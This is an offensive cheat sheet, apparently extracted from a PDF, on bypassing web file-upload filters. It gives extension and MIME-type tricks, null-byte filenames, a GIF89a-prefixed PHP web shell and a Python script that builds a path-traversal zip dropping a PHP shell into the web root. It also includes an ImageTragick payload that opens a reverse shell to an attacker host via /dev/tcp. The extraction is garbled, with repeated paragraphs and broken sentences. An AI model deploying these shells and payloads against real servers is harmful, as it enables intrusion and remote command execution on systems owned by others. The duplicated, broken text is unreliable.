File Upload Bypass PDF
File Upload Bypass PDF
Harshit Sengar
File extension
Developers may blacklist specific file extensions and prevent users
from uploading files with extensions that are considered dangerous.
This can be bypassed by using alternate extensions or even
unrelated ones. For example, it might be possible to upload and
execute a .php file simply by renaming it file.php.jpg or file.PHp.
Alternate extensions
Type Extension
php phtml, .php, .php3, .php4, .php5, and .inc
asp asp, .aspx
perl .pl, .pm, .cgi, .lib
jsp .jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion .cfm, .cfml, .cfc, .dbm
MIME type
Blacklisting MIME types is also a method of file upload validation. It
may be bypassed by intercepting the POST request on the way to the
server and modifying the MIME type.
Replace with:
Content-type: image/jpeg
PHP getimagesize()
For file uploads which validate image size using php getimagesize(), it
may be possible to execute shellcode by inserting it into the
Comment attribute of Image properties and saving it as file.jpg.php.
PHP getimagesize()
For file uploads which validate image size using php getimagesize(), it
may be possible to execute shellcode by inserting it into the
Comment attribute of Image properties and saving it as file.jpg.php.
GIF89a; header
GIF89a is a GIF file header. If uploaded content is being scanned,
sometimes the check can be fooled by putting this header item at
the top of shellcode:
GIF89a;
<?
system($_GET['cmd']); # shellcode goes here
?>
========================================================
===================
========================================================
===================
Exploits
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/
Upload%20Insecure%20Files
https://github.com/LunaM00n/File-Upload-Lab/blob/master/File%
20Upload%20Attack.pdf
PHP Extension
.php
.php3
.php4
.php5
.php7
Less known extensions
.pht
.phar
.phpt
.pgif
.phtml
.phtm
Double extensions
.jpeg.php
.jpg.php
.png.php
.phtm
Double extensions
.jpeg.php
.jpg.php
.png.php
Other extensions
asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
perl: .pl, .pm, .cgi, .lib
jsp : .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm
Upload tricks
• Null byte (works well against pathinfo())
○ .php%00.gif
○ .php\x00.gif
○ .php%00.png
○ .php\x00.png
○ .php%00.jpg
○ .php\x00.jpg
• Mime type, change Content-Type : application/x-php or
Content-Type : application/octet-stream to Content-Type :
image/gif
○ Content-Type : image/gif
○ Content-Type : image/png
○ Content-Type : image/jpeg
• Magic Bytes
Sometimes applications identify file types based on their first
signature bytes. Adding/replacing them in a file might trick the
application.
Configuration Files
• Picture Resize, hide the payload within the compression
algorithm in order to bypass a resize. Also defeating
getimagesize() and imagecreatefromgif().
Configuration Files
• .htaccess
• web.config
• httpd.conf
• __init__.py
========================================================
===================
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/
Upload%20insecure%20files
The .phar files are like the .jar for java, but for php, and can be used
like a php file (executing it with php, or including it inside a script...)
The .inc extension is sometimes used for php files that are only used
to import files, so, at some point, someone could have allow this
extension to be executed.
Here’s a top 10 list of things that you can achieve by uploading (from
link):
1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
2. SVG: Stored XSS / SSRF / XXE
3. GIF: Stored XSS / SSRF
4. CSV: CSV injection
5. XML: XXE
6. AVI: LFI / SSRF
7. HTML / JS : HTML injection / XSS / Open redirect
8. PNG / JPEG: Pixel flood attack (DoS)
9. ZIP: RCE via LFI / DoS
10. PDF / PPTX: SSRF / BLIND XXE
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
One could easily assume that this setup protects from OS-level
command execution via malicious file uploads but unfortunately this
is not true. Since ZIP archive format supports hierarchical
compression and we can also reference higher level directories we
can escape from the safe upload directory by abusing the
decompression feature of the target application.
command execution via malicious file uploads but unfortunately this
is not true. Since ZIP archive format supports hierarchical
compression and we can also reference higher level directories we
can escape from the safe upload directory by abusing the
decompression feature of the target application.
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php
echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
:set modifiable
:%s/xxA/..\//g
:x!
Done!
Only one step remained: Upload the ZIP file and let the application
decompress it! If it is succeeds and the web server has sufficient
privileges to write the directories there will be a simple OS command
execution shell on the system:
Reference: https://blog.silentsignal.eu/2014/01/31/file-upload-
unzip/
Reference: https://blog.silentsignal.eu/2014/01/31/file-upload-
unzip/
ImageTragic
Upload this content with an image extension to exploit the
vulnerability (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-
ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Polyglot Files
Polyglots, in a security context, are files that are a valid form of
multiple different file types. For example, a GIFAR is both a GIF and a
RAR file. There are also files out there that can be both GIF and JS,
both PPT and JS, etc.
Polyglot files are often used to bypass protection based on file types.
Many applications that allow users to upload files only allow uploads
of certain types, such as JPEG, GIF, DOC, so as to prevent users from
uploading potentially dangerous files like JS files, PHP files or Phar
files.
This helps to upload a file that complins with the format of several
different formats. It can allows you to upload a PHAR file (PHp
ARchive) that also looks like a JPEG, but probably you will still needs
a valid extension and if the upload function doesn't allow it this
uploading potentially dangerous files like JS files, PHP files or Phar
files.
This helps to upload a file that complins with the format of several
different formats. It can allows you to upload a PHAR file (PHp
ARchive) that also looks like a JPEG, but probably you will still needs
a valid extension and if the upload function doesn't allow it this
won't help you.